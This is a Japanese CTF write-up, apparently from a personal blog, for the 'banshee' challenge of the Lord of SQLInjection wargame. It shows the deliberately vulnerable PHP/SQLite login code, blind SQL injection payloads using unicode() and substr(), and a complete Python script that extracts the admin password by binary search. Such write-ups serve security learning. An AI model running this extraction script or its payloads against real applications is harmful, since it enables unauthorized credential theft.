<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/banshee.db");
if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); 
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>login success!</h2>";

$query = "select pw from member where id='admin'"; 
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("banshee"); 
highlight_file(__FILE__);

特徴は以下。

SQLite
pwが入力可能
- sqlite,member,_でフィルタリング
adminのpwが知りたい

Blind SQL Injectionかなという感じ。

Blind SQL Injection

SQLiteではascii関数は使えないので、代わりにunicode関数を使用する。
以下で長さを抜き取る。
' or id='admin' and {md} <= length(pw) --
以下で中身を抜き取る。
' or id='admin' and {md} <= unicode(substr(pw,{i+1},1)) --

import requests

url = "https://los.rubiya.kr/chall/banshee_ecdfd1.php"
cookie = {'PHPSESSID': 'eofd5'}

def check(data) -> bool:
    return ("Hello admin" in data) or ("Hello guest" in data) or ("login success!" in data)

ok = 0
ng = 60

while ok + 1 != ng:
    md = (ok + ng) // 2
    q = f"' or id='admin' and {md} <= length(pw) --"
    res = requests.get(url, params={'pw': q}, cookies=cookie)
    print(f"[+] try {md}")
    if check(res.text):
        ok = md
    else:
        ng = md

length = ok
print(f"[*] length = {length}")

ans = ""
for i in range(0, length):
    ok = 0
    ng = 256

    while ok + 1 != ng:
        md = (ok + ng) // 2
        q = f"' or id='admin' and {md} <= unicode(substr(pw,{i+1},1)) --"
        res = requests.get(url, params={'pw': q}, cookies=cookie)
        print(f"[+] try {md}")
        if check(res.text):
            ok = md
        else:
            ng = md

    ans += str(chr(ok))
    print(f"[*] {ans}")

print(f"[*] find! {ans}")

はまやんはまやんはまやん

hamayanhamayan's blog

banshee [LORD OF SQLINJECTION]

Blind SQL Injection